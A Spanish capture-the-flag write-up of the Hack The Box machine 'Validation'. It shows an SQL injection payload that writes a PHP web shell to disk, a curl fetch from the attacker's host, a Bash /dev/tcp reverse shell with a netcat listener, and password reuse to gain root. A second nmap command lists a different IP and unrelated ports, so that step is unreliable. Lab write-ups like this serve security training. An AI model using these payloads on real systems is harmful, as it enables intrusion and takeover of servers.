Validation

HackTheBox

Validation

LinuxLinuxEasy24 de febrero de 20254 min
Índice
Información Básica

Técnicas vistas

  • SQLI (Error Based)
  • SQLI -> RCE (INTO OUTFILE)
  • Information Leakage

Preparación

eJPTeWPT

Reconocimiento

Nmap

Iniciaremos el escaneo de Nmap con la siguiente línea de comandos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.116 -oG nmap/allPorts 
ParámetroDescripción
-p-Escanea todos los puertos (1-65535).
--openMuestra solo puertos abiertos.
-sSEscaneo SYN (rápido y sigiloso).
--min-rate 5000Envía al menos 5000 paquetes por segundo para acelerar el escaneo.
-vvvMáxima verbosidad, muestra más detalles en tiempo real.
-nEvita resolución DNS.
-PnAsume que el host está activo, sin hacer ping previo.
10.10.11.116Dirección IP objetivo.
-oG nmap/allPortsGuarda la salida en formato grepable para procesar con herramientas como grep o awk.
 

Ahora con la función extractPorts, extraeremos los puertos abiertos y nos los copiaremos al clipboard para hacer un escaneo más profundo:

Función de S4vitar
extractPorts () {
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
	ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
	/bin/batcat --paging=never extractPorts.tmp
	rm extractPorts.tmp
}
nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49688,49693,49715 10.10.11.174 -oN nmap/targeted
ParámetroDescripción
-sVDetecta la versión de los servicios que están corriendo en los puertos abiertos.
-CEjecuta scripts NSE de detección de versiones y configuración.
-pEscanea únicamente los puertos seleccionados.
10.10.11.174Dirección IP objetivo.
-oN nmap/targetedGuarda la salida en formato normal en el archivo indicado.
 

Al ver que tenemos un puerto http abierto vamos a hacer un reconocimiento de las tecnologías web que usa con whatweb.

http://10.10.11.116 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]

Vemos que usa PHP principalmente junto con Apache. Nada más entrar a la web podemos ver un pequeño formulario de registro con 2 campos.

Formulario

Explotación

El campo del usuario no es vulnerable a SQL Injection, pero podemos interceptar la petición con Burpsuite y ver si el campo del "País" es vulnerable.

SQL Injection

Bingo! Como podemos ver con una sola ', vemos que da un error, por lo cual es vulnerable. Vamos a intentar subir una web shell básica para PHP.

<?php system($_GET['cmd']); ?>

Así quedaría la inyección en la solicitud.

username=sqli&country=Brazil' union all select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wshell.php" -- -

CMD Injection

Perfecto, hemos conseguido la web shell funcional, por lo que vamos a intentar obtener una persistencia. Usaremos esta Bash TCP reverse shell.

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Y luego la pasaremos al servidor mediante un servidor local con python.

python -m http.server 80

Después en la URL pondremos lo siguiente para obtener la shell.

<URL>?cmd=curl+<IP>:80/revshell.sh > revshell.sh

Una vez subido, para comprobar que todo ha ido bien, si ejecutamos un ls deberíamos poder ver la revshell.sh.

Para ejecutarla nos pondremos en escucha primero por el puerto que hayamos escogido con netcat.

nc -lvnp <PORT>

Simplemente la ejecutamos en el servidor.

bash revshell.sh

Si todo ha ido bien, deberíamos tener la reverse shell.

Reverse Shell

Estando dentro podemos ver que hay un archivo config.php, así que veremos su contenido, puede ser importante.

config.php

Gracias al comando:

cat /etc/passwd | grep "bash"

Podemos ver que solo existe el usuario root, que si probamos con la contraseña del config.php parecerá que se queda estancado, pero realmente ya hemos accedido al usuario y tenemos root. Ya solo queda obtener ambas flags del directorio /home/<usuario>/user.txt y /root/root.txt.

Máquina comprometidaPwned! · ver logro en Hack The Box


Relacionados